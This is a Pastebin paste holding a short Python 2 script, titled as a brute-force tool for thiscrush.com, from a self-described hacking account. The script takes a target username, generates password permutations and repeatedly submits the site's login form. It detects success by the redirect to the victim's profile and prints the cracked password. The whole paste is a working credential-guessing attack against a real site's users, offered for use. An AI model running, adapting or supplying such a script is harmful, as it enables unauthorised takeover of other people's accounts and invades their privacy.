Advertisement
Guest User

thiscrush brute force python

a guest
Jul 11th, 2017
311
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.39 KB | None | 0 0
  1. #
  2. #  kik: eyezikg
  3. #  instagram: @what_hacks
  4. #
  5. # Brute force for thiscrush.com
  6. import mechanize
  7. import itertools
  8. br = mechanize.Browser()
  9. br.set_handle_equiv(True)
  10. br.set_handle_redirect(True)
  11. br.set_handle_referer(True)
  12. br.set_handle_robots(False)
  13.  
  14. usernamma = raw_input("User: ")
  15. combos=itertools.permutations("pass1234567890", 8) #change this to whatever, makes the password note take out ", 8)"
  16. r =br.open("http://thiscrush.com/login.php")
  17. for x in combos:   
  18.     new_form = '''
  19.     <form method="POST" action="login.php">
  20.     <center>
  21.     <table style="font-size:12px;font-family:Arial;">
  22.     <tbody><tr><td style="font-weight:bold;">Username:</td><td><input name="username" type="text"></td></tr>
  23.     <tr><td style="font-weight:bold;">Password:</td><td><input name="password" type="password"></td></tr>
  24.     <tr><td colspan="2" style="padding-top:10px;"><input name="submit" value="Login" type="submit"></td></tr>
  25.     </tbody></table>
  26.     </center>
  27.     </form>
  28.     '''
  29.     #all you have to take care is they have the same name for input fields and submit button
  30.  
  31.     r.set_data(new_form)
  32.     br.set_response(r)
  33.     br.select_form( nr = 0 )
  34.     br.form['username'] = usernamma
  35.     br.form['password'] = ''.join(x)
  36.     print "Checking ",br.form['password']
  37.     response=br.submit()
  38.     if response.geturl()==("http://thiscrush.com/~" + usernamma):
  39.         #url to which the page is redirected after login
  40.         print "Password is~ ",''.join(x)
  41.         break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement